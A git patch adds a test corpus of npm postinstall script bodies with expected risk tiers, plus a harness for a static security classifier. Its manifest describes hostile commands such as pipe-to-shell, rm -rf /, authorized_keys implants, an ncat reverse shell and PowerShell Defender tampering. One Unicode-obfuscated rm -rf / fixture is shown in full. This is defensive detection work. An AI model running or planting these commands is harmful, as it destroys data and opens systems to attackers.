eda35fc4d9c387f69c2d971dbb8fbf67a2a6cb88 Mon Sep 17 00:00:00 2001 From: Tolga Ergin Date: Tue, 21 Apr 2026 10:39:57 +0100 Subject: [PATCH 12/61] =?UTF-8?q?feat(phase-46):=20P2=20chunk=202=20?= =?UTF-8?q?=E2=80=94=20static=5Fgate=20fixture=20corpus=20+=20stats-only?= =?UTF-8?q?=20harness?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Ships the starter fixture corpus (91 scripts across 14 categories) plus a one-test integration harness that classifies every entry against its declared expectation. Layout: crates/lpm-security/tests/fixtures/postinstall-scripts/ ├── README.md — naming / ship-criteria doc ├── expectations.json — [{id, expected, notes?}] └── scripts/.txt — one raw body per entry Corpus composition (deliberately biased toward amber/red coverage; Chunk 6 grows toward 500 real-world postinstalls): green-* (20) — allowlist hits (tsc, node-gyp rebuild, prisma generate, husky[install], electron-rebuild, node .{js,cjs,mjs}) amber-d18-* (10) — D18 network binary downloaders (playwright, puppeteer, cypress, electron-builder, node install.js) amber-compound-* ( 8) — compounds of otherwise-green commands amber-novel-* (12) — out-of-allowlist commands (python, make, cmake, gulp, npx, yarn build…) amber-node-escape-* ( 5) — node with escaping paths (../, /abs, ~/, $HOME, no-ext) amber-parse-fail-* ( 1) — unbalanced quote → shlex fails closed red-pipe-* ( 5) — curl|sh / wget|bash / base64 -d|sh red-eval-* ( 3) — eval, node -e, node --eval red-nested-pm-* ( 8) — npm/pnpm/yarn/bun/pip/cargo/gem/brew install red-rm-* ( 4) — rm -rf ~ / / $HOME / ~/.ssh red-chmod-* ( 2) — chmod outside package tree red-redirect-* ( 3) — >> ~/.bashrc / ~/.ssh/authorized_keys (including no-space regression) red-nc-* ( 2) — nc / ncat reverse shell adversarial-* ( 8) — §12.2 stress set: U+202E RTL override, U+200D ZWJ, U+FEFF BOM, Invoke-Expression, iex, FromBase64String, Add-MpPreference, no-space pipe-bash Harness (tests/static_gate_corpus.rs, one test, ~40ms): - Loads manifest + each raw-body file, calls classify(), asserts declared expectation matches actual tier for every entry. - Hard-fails on any false-positive red (§4.1 ship criterion). - Hard-fails if the classifier ever emits AmberLlm (contract invariant: P2 owns Green|Amber|Red; AmberLlm is reserved for P8). - Duplicate-id guard on manifest load. - Prints per-run stats (total / green / amber / red + green-rate on the real-corpus subset) so tuning during Chunks 3–6 has continuous feedback. The ≥60% green-rate threshold is NOT asserted here — starter corpus is biased low by design (current: 35%); threshold flips to hard-gate in Chunk 6 once the corpus grows to 500. Denominator for the ≥60% is pinned in the plan doc (§4.1 update in a separate commit): green / (green + amber) over non-adversarial entries, measured the same way the harness measures it today. Unicode bytes verified on disk (xxd): adversarial-001: E2 80 AE (U+202E RTL OVERRIDE) adversarial-002: E2 80 8D (U+200D ZWJ) adversarial-003: EF BB BF (U+FEFF BOM) CI gate (exact CI commands): - cargo clippy --workspace -- -D warnings ✓ - cargo fmt --check ✓ - cargo build --workspace ✓ - cargo nextest run -p lpm-security ✓ (388/388) - cargo nextest run --workspace ✓ (3834/3836; --exclude lpm-integration-tests 2 failures are the known lpm-task perf_eval_* flake under parallel load, pass serially, not in touched crates) Co-Authored-By: Claude Opus 4.7 (1M context) --- .../fixtures/postinstall-scripts/README.md | 64 ++++++ .../postinstall-scripts/expectations.json | 106 ++++++++++ .../scripts/adversarial-001-rtl-override.txt | 1 + .../adversarial-002-zero-width-joiner.txt | 1 + .../scripts/adversarial-003-bom-prefix.txt | 1 + .../adversarial-004-invoke-expression.txt | 1 + .../adversarial-005-iex-downloadstring.txt | 1 + .../adversarial-006-from-base64-string.txt | 1 + .../adversarial-007-add-mppreference.txt | 1 + .../adversarial-008-no-space-pipe-bash.txt | 1 + .../amber-compound-001-tsc-and-husky.txt | 1 + .../amber-compound-002-husky-prisma.txt | 1 + .../amber-compound-003-tsc-semi-prisma.txt | 1 + .../amber-compound-004-tsc-or-exit.txt | 1 + .../amber-compound-005-node-and-tsc.txt | 1 + .../amber-compound-006-cat-pipe-tsc.txt | 1 + .../amber-compound-007-stdout-redirect.txt | 1 + .../scripts/amber-compound-008-backticks.txt | 1 + .../amber-d18-001-playwright-install.txt | 1 + .../amber-d18-002-playwright-with-deps.txt | 1 + .../scripts/amber-d18-003-puppeteer-bare.txt | 1 + ...mber-d18-004-puppeteer-browser-install.txt | 1 + .../scripts/amber-d18-005-cypress-install.txt | 1 + ...-006-electron-builder-install-app-deps.txt | 1 + .../scripts/amber-d18-007-node-install-js.txt | 1 + .../amber-d18-008-node-postinstall-js.txt | 1 + .../amber-d18-009-node-scripts-install.txt | 1 + .../amber-d18-010-node-dist-install.txt | 1 + .../scripts/amber-node-escape-001-parent.txt | 1 + .../amber-node-escape-002-absolute.txt | 1 + .../scripts/amber-node-escape-003-tilde.txt | 1 + .../scripts/amber-node-escape-004-env-var.txt | 1 + .../amber-node-escape-005-no-extension.txt | 1 + .../scripts/amber-novel-001-build-sh.txt | 1 + .../amber-novel-002-python-setup-py.txt | 1 + .../scripts/amber-novel-003-make.txt | 1 + .../scripts/amber-novel-004-make-default.txt | 1 + .../scripts/amber-novel-005-yarn-build.txt | 1 + .../scripts/amber-novel-006-npm-run-build.txt | 1 + .../amber-novel-007-node-with-flags.txt | 1 + .../scripts/amber-novel-008-tsc-watch.txt | 1 + .../scripts/amber-novel-009-bash-custom.txt | 1 + .../scripts/amber-novel-010-cmake-build.txt | 1 + .../scripts/amber-novel-011-gulp.txt | 1 + .../scripts/amber-novel-012-npx-tsc.txt | 1 + .../amber-parse-fail-001-unbalanced-quote.txt | 1 + .../scripts/green-001-tsc.txt | 1 + .../scripts/green-002-tsc-build.txt | 1 + .../scripts/green-003-tsc-b-short.txt | 1 + .../scripts/green-004-tsc-project.txt | 1 + .../scripts/green-005-tsc-project-long.txt | 1 + .../scripts/green-006-node-gyp-rebuild.txt | 1 + .../green-007-node-gyp-rebuild-release.txt | 1 + .../green-008-node-gyp-rebuild-debug.txt | 1 + .../scripts/green-009-husky-install.txt | 1 + .../scripts/green-010-husky-bare.txt | 1 + .../scripts/green-011-prisma-generate.txt | 1 + .../scripts/green-012-electron-rebuild.txt | 1 + .../scripts/green-013-node-relative.txt | 1 + .../scripts/green-014-node-relative-dot.txt | 1 + .../scripts/green-015-node-relative-cjs.txt | 1 + .../scripts/green-016-node-relative-mjs.txt | 1 + .../scripts/green-017-node-nested-path.txt | 1 + .../scripts/green-018-node-dist-file.txt | 1 + .../scripts/green-019-node-cjs-root.txt | 1 + .../scripts/green-020-node-mjs-root.txt | 1 + .../red-chmod-001-ssh-authorized-keys.txt | 1 + .../scripts/red-chmod-002-etc-passwd.txt | 1 + .../scripts/red-eval-001-bare.txt | 1 + .../scripts/red-eval-002-node-e.txt | 1 + .../scripts/red-eval-003-node-long-eval.txt | 1 + .../scripts/red-nc-001-listen.txt | 1 + .../scripts/red-nc-002-ncat-exec.txt | 1 + .../scripts/red-nested-pm-001-npm.txt | 1 + .../scripts/red-nested-pm-002-pip.txt | 1 + .../scripts/red-nested-pm-003-cargo.txt | 1 + .../scripts/red-nested-pm-004-gem.txt | 1 + .../scripts/red-nested-pm-005-brew.txt | 1 + .../scripts/red-nested-pm-006-pnpm.txt | 1 + .../scripts/red-nested-pm-007-yarn-add.txt | 1 + .../scripts/red-nested-pm-008-bun-add.txt | 1 + .../scripts/red-pipe-001-curl-sh.txt | 1 + .../scripts/red-pipe-002-curl-bash.txt | 1 + .../scripts/red-pipe-003-wget-sh.txt | 1 + .../scripts/red-pipe-004-base64-decode-sh.txt | 1 + .../red-pipe-005-no-space-operator.txt | 1 + .../scripts/red-redirect-001-bashrc.txt | 1 + .../red-redirect-002-authorized-keys.txt | 1 + .../red-redirect-003-no-space-dotfile.txt | 1 + .../scripts/red-rm-001-home.txt | 1 + .../scripts/red-rm-002-dotssh.txt | 1 + .../scripts/red-rm-003-root.txt | 1 + .../scripts/red-rm-004-env-home.txt | 1 + .../lpm-security/tests/static_gate_corpus.rs | 192 ++++++++++++++++++ 94 files changed, 453 insertions(+) create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/README.md create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/expectations.json create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-001-rtl-override.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-002-zero-width-joiner.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-003-bom-prefix.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-004-invoke-expression.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-005-iex-downloadstring.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-006-from-base64-string.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-007-add-mppreference.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-008-no-space-pipe-bash.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-001-tsc-and-husky.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-002-husky-prisma.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-003-tsc-semi-prisma.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-004-tsc-or-exit.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-005-node-and-tsc.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-006-cat-pipe-tsc.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-007-stdout-redirect.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-compound-008-backticks.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-001-playwright-install.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-002-playwright-with-deps.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-003-puppeteer-bare.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-004-puppeteer-browser-install.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-005-cypress-install.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-006-electron-builder-install-app-deps.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-007-node-install-js.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-008-node-postinstall-js.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-009-node-scripts-install.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-d18-010-node-dist-install.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-node-escape-001-parent.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-node-escape-002-absolute.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-node-escape-003-tilde.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-node-escape-004-env-var.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-node-escape-005-no-extension.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-001-build-sh.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-002-python-setup-py.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-003-make.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-004-make-default.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-005-yarn-build.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-006-npm-run-build.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-007-node-with-flags.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-008-tsc-watch.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-009-bash-custom.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-010-cmake-build.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-011-gulp.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-novel-012-npx-tsc.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/amber-parse-fail-001-unbalanced-quote.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-001-tsc.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-002-tsc-build.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-003-tsc-b-short.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-004-tsc-project.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-005-tsc-project-long.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-006-node-gyp-rebuild.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-007-node-gyp-rebuild-release.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-008-node-gyp-rebuild-debug.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-009-husky-install.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-010-husky-bare.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-011-prisma-generate.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-012-electron-rebuild.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-013-node-relative.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-014-node-relative-dot.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-015-node-relative-cjs.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-016-node-relative-mjs.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-017-node-nested-path.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-018-node-dist-file.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-019-node-cjs-root.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/green-020-node-mjs-root.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-chmod-001-ssh-authorized-keys.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-chmod-002-etc-passwd.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-eval-001-bare.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-eval-002-node-e.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-eval-003-node-long-eval.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nc-001-listen.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nc-002-ncat-exec.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-001-npm.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-002-pip.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-003-cargo.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-004-gem.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-005-brew.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-006-pnpm.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-007-yarn-add.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-nested-pm-008-bun-add.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-pipe-001-curl-sh.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-pipe-002-curl-bash.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-pipe-003-wget-sh.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-pipe-004-base64-decode-sh.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-pipe-005-no-space-operator.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-redirect-001-bashrc.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-redirect-002-authorized-keys.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-redirect-003-no-space-dotfile.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-rm-001-home.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-rm-002-dotssh.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-rm-003-root.txt create mode 100644 crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/red-rm-004-env-home.txt create mode 100644 crates/lpm-security/tests/static_gate_corpus.rs diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/README.md b/crates/lpm-security/tests/fixtures/postinstall-scripts/README.md new file mode 100644 index 00000000..862bf018 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/README.md @@ -0,0 +1,64 @@ +# Static-gate fixture corpus + +Phase 46 P2 Chunk 2 — starter set of lifecycle-script bodies with +hand-assigned expected tiers. Consumed by +`crates/lpm-security/tests/static_gate_corpus.rs`. + +## Layout + +- `expectations.json` — array of `{id, expected, notes?}`. Category + is encoded in the `id` prefix (see naming below), so there is no + explicit `category` field. +- `scripts/.txt` — one file per entry, containing the exact raw + script body. Separate files (instead of an inline JSON field) so + that: + 1. Diffs are per-script and readable. + 2. Unicode adversarial inputs (RTL overrides, zero-width joiners, + BOM) are preserved byte-for-byte without JSON escaping. + 3. The expected tier and the raw body can be reviewed side-by-side. + +## Naming + +`--` — category groups logically +related entries so diffs during tuning stay scoped: + +- `green-NNN-*` — pure local build steps that should tier Green. +- `amber-d18-NNN-*` — D18 network binary downloaders (playwright, + puppeteer, node install.js, etc.) that tier Amber by design. +- `amber-compound-NNN-*` — compounds of otherwise-green commands. +- `amber-novel-NNN-*` — commands outside the allowlist and outside + the red blocklist. +- `amber-node-escape-NNN-*` — `node ` where the path would + escape the package directory. +- `amber-parse-fail-NNN-*` — malformed input (unbalanced quotes, + etc.) that tokenizes fail-closed to Amber. +- `red-pipe-NNN-*` — pipe-to-shell patterns. +- `red-eval-NNN-*` — `eval`, `node -e`, `node --eval`. +- `red-nested-pm-NNN-*` — nested package-manager installs. +- `red-rm-NNN-*` — `rm -rf` on dangerous targets. +- `red-chmod-NNN-*` — `chmod` outside the package tree. +- `red-redirect-NNN-*` — redirects into user dotfiles or `/etc`. +- `red-nc-NNN-*` — `nc` / `netcat` / `ncat` reverse-shell shapes. +- `adversarial-NNN-*` — Unicode obfuscation, PowerShell literals, + no-space operator attacks (the §12.2 adversarial set). + +## Ship criteria (from the plan doc, §4.1) + +- Zero false-positive reds (asserted in Chunk 2 harness). +- Every expectation must match the classifier's output (asserted in + Chunk 2 harness). +- ≥60% green-rate across the full 500-script corpus — the starter + set is deliberately biased toward amber/red for coverage, so its + green-rate starts lower and grows in Chunk 6. The rate is printed + every run; the hard `≥60%` assertion flips on in Chunk 6. + +## Regeneration + +Add a new fixture by: + +1. Pick an id following the naming convention above. +2. Write the raw body to `scripts/.txt`. +3. Append the entry to `expectations.json` with the expected tier. +4. Run `cargo test -p lpm-security --test static_gate_corpus` — it + will report a mismatch if your expectation disagrees with the + classifier, or success plus an updated green-rate stat line. diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/expectations.json b/crates/lpm-security/tests/fixtures/postinstall-scripts/expectations.json new file mode 100644 index 00000000..bd0e7828 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/expectations.json @@ -0,0 +1,106 @@ +[ + { "id": "green-001-tsc", "expected": "green", "notes": "plain tsc — canonical TypeScript compile" }, + { "id": "green-002-tsc-build", "expected": "green", "notes": "tsc project-references build mode" }, + { "id": "green-003-tsc-b-short", "expected": "green", "notes": "short -b flag equivalent to --build" }, + { "id": "green-004-tsc-project", "expected": "green", "notes": "tsc -p " }, + { "id": "green-005-tsc-project-long", "expected": "green", "notes": "tsc --project " }, + { "id": "green-006-node-gyp-rebuild", "expected": "green", "notes": "native-module rebuild; no network binary" }, + { "id": "green-007-node-gyp-rebuild-release", "expected": "green", "notes": "node-gyp release variant" }, + { "id": "green-008-node-gyp-rebuild-debug", "expected": "green", "notes": "node-gyp debug variant" }, + { "id": "green-009-husky-install", "expected": "green", "notes": "husky v8 install form" }, + { "id": "green-010-husky-bare", "expected": "green", "notes": "husky v9+ bare-command form" }, + { "id": "green-011-prisma-generate", "expected": "green", "notes": "prisma client generation" }, + { "id": "green-012-electron-rebuild", "expected": "green", "notes": "electron-rebuild with no args" }, + { "id": "green-013-node-relative", "expected": "green", "notes": "node build.js at package root" }, + { "id": "green-014-node-relative-dot", "expected": "green", "notes": "node ./scripts/build.js — leading-dot relative" }, + { "id": "green-015-node-relative-cjs", "expected": "green", "notes": ".cjs extension" }, + { "id": "green-016-node-relative-mjs", "expected": "green", "notes": ".mjs extension" }, + { "id": "green-017-node-nested-path", "expected": "green", "notes": "multi-segment relative path" }, + { "id": "green-018-node-dist-file", "expected": "green", "notes": "node dist/index.js — common emit layout" }, + { "id": "green-019-node-cjs-root", "expected": "green", "notes": "root-level .cjs" }, + { "id": "green-020-node-mjs-root", "expected": "green", "notes": "root-level .mjs" }, + + { "id": "amber-d18-001-playwright-install", "expected": "amber", "notes": "D18: downloads Chromium/Firefox/WebKit binaries" }, + { "id": "amber-d18-002-playwright-with-deps", "expected": "amber", "notes": "D18: playwright install --with-deps" }, + { "id": "amber-d18-003-puppeteer-bare", "expected": "amber", "notes": "D18: puppeteer bare command" }, + { "id": "amber-d18-004-puppeteer-browser-install", "expected": "amber", "notes": "D18: puppeteer-browser install" }, + { "id": "amber-d18-005-cypress-install", "expected": "amber", "notes": "D18: downloads Cypress binary" }, + { "id": "amber-d18-006-electron-builder-install-app-deps", "expected": "amber", "notes": "D18: fetches native deps" }, + { "id": "amber-d18-007-node-install-js", "expected": "amber", "notes": "D18: binary-fetcher convention (sharp, @napi-rs/*)" }, + { "id": "amber-d18-008-node-postinstall-js", "expected": "amber", "notes": "D18: postinstall.js basename — amber exception wins" }, + { "id": "amber-d18-009-node-scripts-install", "expected": "amber", "notes": "D18: scripts/install.js — basename-matched" }, + { "id": "amber-d18-010-node-dist-install", "expected": "amber", "notes": "D18: dist/install.js — basename-matched" }, + + { "id": "amber-compound-001-tsc-and-husky", "expected": "amber", "notes": "two greens AND'd — compound wins" }, + { "id": "amber-compound-002-husky-prisma", "expected": "amber", "notes": "husky install && prisma generate" }, + { "id": "amber-compound-003-tsc-semi-prisma", "expected": "amber", "notes": "semicolon-sequenced greens" }, + { "id": "amber-compound-004-tsc-or-exit", "expected": "amber", "notes": "tsc || exit 1" }, + { "id": "amber-compound-005-node-and-tsc", "expected": "amber", "notes": "node prepare.js && tsc" }, + { "id": "amber-compound-006-cat-pipe-tsc", "expected": "amber", "notes": "pipe of cat into tsc — compound" }, + { "id": "amber-compound-007-stdout-redirect", "expected": "amber", "notes": "safe-looking redirect to local log file" }, + { "id": "amber-compound-008-backticks", "expected": "amber", "notes": "backtick subshell inside echo" }, + + { "id": "amber-novel-001-build-sh", "expected": "amber", "notes": "./scripts/build.sh — arbitrary shell script" }, + { "id": "amber-novel-002-python-setup-py", "expected": "amber", "notes": "python setup.py build — out-of-ecosystem" }, + { "id": "amber-novel-003-make", "expected": "amber", "notes": "make build" }, + { "id": "amber-novel-004-make-default", "expected": "amber", "notes": "bare make" }, + { "id": "amber-novel-005-yarn-build", "expected": "amber", "notes": "yarn build — not an install verb" }, + { "id": "amber-novel-006-npm-run-build", "expected": "amber", "notes": "npm run build — not a nested install" }, + { "id": "amber-novel-007-node-with-flags", "expected": "amber", "notes": "node with extra flags → falls off green match" }, + { "id": "amber-novel-008-tsc-watch", "expected": "amber", "notes": "tsc --watch — unusual for postinstall" }, + { "id": "amber-novel-009-bash-custom", "expected": "amber", "notes": "bash scripts/compile.sh" }, + { "id": "amber-novel-010-cmake-build", "expected": "amber", "notes": "cmake --build build" }, + { "id": "amber-novel-011-gulp", "expected": "amber", "notes": "gulp build" }, + { "id": "amber-novel-012-npx-tsc", "expected": "amber", "notes": "npx tsc — unusual postinstall" }, + + { "id": "amber-node-escape-001-parent", "expected": "amber", "notes": "node ../other/build.js — path escape" }, + { "id": "amber-node-escape-002-absolute", "expected": "amber", "notes": "absolute path — outside package" }, + { "id": "amber-node-escape-003-tilde", "expected": "amber", "notes": "~-anchored path" }, + { "id": "amber-node-escape-004-env-var", "expected": "amber", "notes": "$HOME-anchored path" }, + { "id": "amber-node-escape-005-no-extension", "expected": "amber", "notes": "no .js/.cjs/.mjs extension" }, + + { "id": "amber-parse-fail-001-unbalanced-quote", "expected": "amber", "notes": "shlex parse failure → amber (fail closed)" }, + + { "id": "red-pipe-001-curl-sh", "expected": "red", "notes": "curl | sh — canonical install-one-liner" }, + { "id": "red-pipe-002-curl-bash", "expected": "red", "notes": "curl -fsSL | bash" }, + { "id": "red-pipe-003-wget-sh", "expected": "red", "notes": "wget -O - | sh" }, + { "id": "red-pipe-004-base64-decode-sh", "expected": "red", "notes": "base64 -d | sh" }, + { "id": "red-pipe-005-no-space-operator", "expected": "red", "notes": "curl url|sh — no-space pipe (regression guard)" }, + + { "id": "red-eval-001-bare", "expected": "red", "notes": "eval of env var" }, + { "id": "red-eval-002-node-e", "expected": "red", "notes": "node -e '...'" }, + { "id": "red-eval-003-node-long-eval", "expected": "red", "notes": "node --eval '...'" }, + + { "id": "red-nested-pm-001-npm", "expected": "red", "notes": "nested npm install" }, + { "id": "red-nested-pm-002-pip", "expected": "red", "notes": "nested pip install" }, + { "id": "red-nested-pm-003-cargo", "expected": "red", "notes": "nested cargo install" }, + { "id": "red-nested-pm-004-gem", "expected": "red", "notes": "nested gem install" }, + { "id": "red-nested-pm-005-brew", "expected": "red", "notes": "nested brew install" }, + { "id": "red-nested-pm-006-pnpm", "expected": "red", "notes": "nested pnpm install" }, + { "id": "red-nested-pm-007-yarn-add", "expected": "red", "notes": "nested yarn add" }, + { "id": "red-nested-pm-008-bun-add", "expected": "red", "notes": "nested bun add" }, + + { "id": "red-rm-001-home", "expected": "red", "notes": "rm -rf ~" }, + { "id": "red-rm-002-dotssh", "expected": "red", "notes": "rm -rf ~/.ssh" }, + { "id": "red-rm-003-root", "expected": "red", "notes": "rm -rf /" }, + { "id": "red-rm-004-env-home", "expected": "red", "notes": "rm -rf $HOME" }, + + { "id": "red-chmod-001-ssh-authorized-keys", "expected": "red", "notes": "chmod +x ~/.ssh/authorized_keys" }, + { "id": "red-chmod-002-etc-passwd", "expected": "red", "notes": "chmod 777 /etc/passwd" }, + + { "id": "red-redirect-001-bashrc", "expected": "red", "notes": ">> ~/.bashrc — persistence" }, + { "id": "red-redirect-002-authorized-keys", "expected": "red", "notes": ">> ~/.ssh/authorized_keys — public-key implant" }, + { "id": "red-redirect-003-no-space-dotfile", "expected": "red", "notes": "echo x>~/.bashrc — no-space redirect (regression guard)" }, + + { "id": "red-nc-001-listen", "expected": "red", "notes": "nc -l listener" }, + { "id": "red-nc-002-ncat-exec", "expected": "red", "notes": "ncat -e /bin/sh reverse shell" }, + + { "id": "adversarial-001-rtl-override", "expected": "red", "notes": "U+202E Trojan Source embedded" }, + { "id": "adversarial-002-zero-width-joiner", "expected": "red", "notes": "U+200D zero-width joiner embedded in green" }, + { "id": "adversarial-003-bom-prefix", "expected": "red", "notes": "U+FEFF BOM at start of body" }, + { "id": "adversarial-004-invoke-expression", "expected": "red", "notes": "PowerShell Invoke-Expression" }, + { "id": "adversarial-005-iex-downloadstring", "expected": "red", "notes": "PowerShell iex alias + DownloadString" }, + { "id": "adversarial-006-from-base64-string", "expected": "red", "notes": "PowerShell FromBase64String construct" }, + { "id": "adversarial-007-add-mppreference", "expected": "red", "notes": "PowerShell Defender-exclusion tamper" }, + { "id": "adversarial-008-no-space-pipe-bash", "expected": "red", "notes": "base64 -d x|bash — no-space (regression guard)" } +] diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-001-rtl-override.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-001-rtl-override.txt new file mode 100644 index 00000000..c06f2d16 --- /dev/null +++ b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-001-rtl-override.txt @@ -0,0 +1 @@ +echo hello‮rm -rf / diff --git a/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-002-zero-width-joiner.txt b/crates/lpm-security/tests/fixtures/postinstall-scripts/scripts/adversarial-002-zero-width-joiner.txt new file mode 100644 